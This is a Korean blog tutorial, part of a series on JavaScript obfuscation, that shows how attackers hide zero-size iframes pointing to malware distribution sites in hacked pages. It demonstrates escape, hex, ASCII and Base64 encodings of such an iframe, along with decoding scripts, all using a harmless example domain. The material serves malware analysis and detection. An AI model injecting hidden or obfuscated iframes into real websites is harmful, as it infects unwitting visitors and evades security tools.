글
[3] 자바스크립트 난독화 기초 2
[3] 자바스크립트 난독화 기초 2
1. Iframe Tag를 이용한 악성코드 유포
1.1 일반적인 악성코드 유포 패턴
예제 1)
<iframe src=http://[악성코드 유포사이트 경로] width=0 height=0></iframe> |
① 정상적으로 서비스되고 있는 웹사이트를 해킹하여 소스코드에 iframe을 삽입
② 악성코드 유포사이트를 보이지 않게 하기위해 “width=0 height=0”로 설정
③ 이런 악성코드가 삽입된 사이트를 위/변조 사이트라고 하며, 이런 사이트 접속 시
사용자는 인지하지 못한 상태에서 악성코드에 감염
* iframe Tag는 정상사이트에서도 사용하기 때문에, 있다고 반드시 악성은 아니다
1.2 해커 입장에서 “예제1” 의 문제점
① 보안장비에서 패턴을 통하여 탐지 가능하다
② 보안담당자가 소스코드만 확인하여도 쉽게 악성코드 유포지를 알 수 있다
ð 때문에 난독화를 통하여 보안장비 우회 및 분석시간이 오래 걸리도록 한다
2. 같은 의미! 다른 형태!
2.1. 동일한 의미를 가진 여러 형태의 패턴
예제 2)
ex 1) <iframe src=http://café.naver.com width=800 height=500></iframe>
ex 2) <script> a="<iframe src";b="=http://caf";c="e.nav"; d="er.com width";e="=800 heigh"; f="t=500></iframe>"; document.write(a+b+c+d+e+f); </script>
|
① ex 1) 과 ex 2) 는 다른형태를 가지고 있지만, 동일한 행위를 한다
예제 3)
ex 1) a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E %3C/iframe%3E"
b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d2077696474 683d383030206865696768743d3530303e3c2f696672616d653e";
c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110, 97,118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116, 61,53,48,48,62,60,47,105,102,114,97,109,101,62";
d="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ9 NTAwPjwvaWZyYW1lPiA=";
|
① a, b, c, d는 모두 다른 형태이지만. 동일한 의미를 가지고 있다.
② 예제 3)의 형태는 기본적인 형태이므로 보면 어떤 코드인지 알 수 있도록 해야 한다
3. 난독화에 많이 이용되는 기본 패턴
3.1. escape와 unescape
예제 4)
<script> a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E%3C/iframe%3E"; s=unescape(a); //-- a를 unescape로 변환하여 s에 저장 document.write(s); </script>
## 결과 cafe.naver.com 으로 접속 시도한다
|
① document.write는 문자열로 html에 반환하기 때문에 iframe이 실행된다
- 문자열을 보고 싶다면, alert 이나 xmp tag를 이용하면 된다
② a는 escape로 난독화되어 있기 때문에 unescape를 이용하여 복호화 하였다
3.2. HEX Code
b는 HEX Code이다. Hex는 기본적으로 알고 있을 것이다. 하지만 해당 코드가 hex인줄 몰랐다면
익숙하지는 않은 것이다.
예제 5)
<script> b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d207769647468 3d383030206865696768743d3530303e3c2f696672616d653e"; var s=""; for(i=0;i<b.length;i+=2) {s+=String.fromCharCode(parseInt(b.substring(i,i+2),16))}; document.write(s); </script> ## 결과 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)
|
① 위와 같은 스크립트를 이용하여 복호화 할 수 있다
② 예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다
3.3. ASCII Code
c는 아스키코드이다. 숫자, 문자, 특수기호에 번호를 부여한 것이라 생각하면 된다
예제 6)
<script> c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,97, 118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,61,53, 48,48,62,60,47,105,102,114,97,109,101,62"; s=""; c=c.split(",") for (i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);} document.write(s); </script> ## 결과 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)
|
① 위와 같은 스크립트를 이용하여 복호화 할 수 있다
② 예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다
3.4. Base64 Code
d는 Base64 Code이다. 전자메일에서 사용하는 64진수 코드라고 보면 된다.
예제 7)
<script> str="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ 9NTAwPjwvaWZyYW1lPiA="; var b64c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg'+'hijklmnopqrstuvwxyz0123456789+/='; var b64d = '', chr1, chr2, chr3, enc1, enc2, enc3, enc4; str = str.replace(/[^a-z0-9+/=]/gi, ''); for (var i=0; i<str.length;) { enc1 = b64c.indexOf(str.charAt(i++)); enc2 = b64c.indexOf(str.charAt(i++)); enc3 = b64c.indexOf(str.charAt(i++)); enc4 = b64c.indexOf(str.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; b64d = b64d + String.fromCharCode(chr1); if (enc3 < 64) { b64d += String.fromCharCode(chr2); } if (enc4 < 64) { b64d += String.fromCharCode(chr3); } } document.write(b64d); </script> ## 결과 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)
|
① 위와 같은 스크립트를 이용하여 복호화 할 수 있다
② 예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다
4. 간단하게 디코딩 하기
4.1. TRANSLATOR, BINARY
코드에 익숙해지기 위해 자바스크립트로 디코딩을 해보았다. 하지만 어떤 코드인지 안다면
아래의 사이트에서 간단하게 모두 디코딩 할 수 있다
바로가기: http://home.paulschou.net/tools/xlate/
[그림1] 디코딩 화면
'난독화 > 난독화 강좌' 카테고리의 다른 글
[5] 블랙홀 툴킷의 PDF 난독화 풀이 (2) | 2013.05.13 |
---|---|
[4] 난독화 연습 문제풀이 따라하기 I (4) | 2013.05.08 |
[2] 자바스크립트 난독화 Tool (0) | 2013.05.04 |
난독화 스터디 시작!! (0) | 2013.05.03 |
[1] 자바스크립트 난독화 기초 (3) | 2013.05.03 |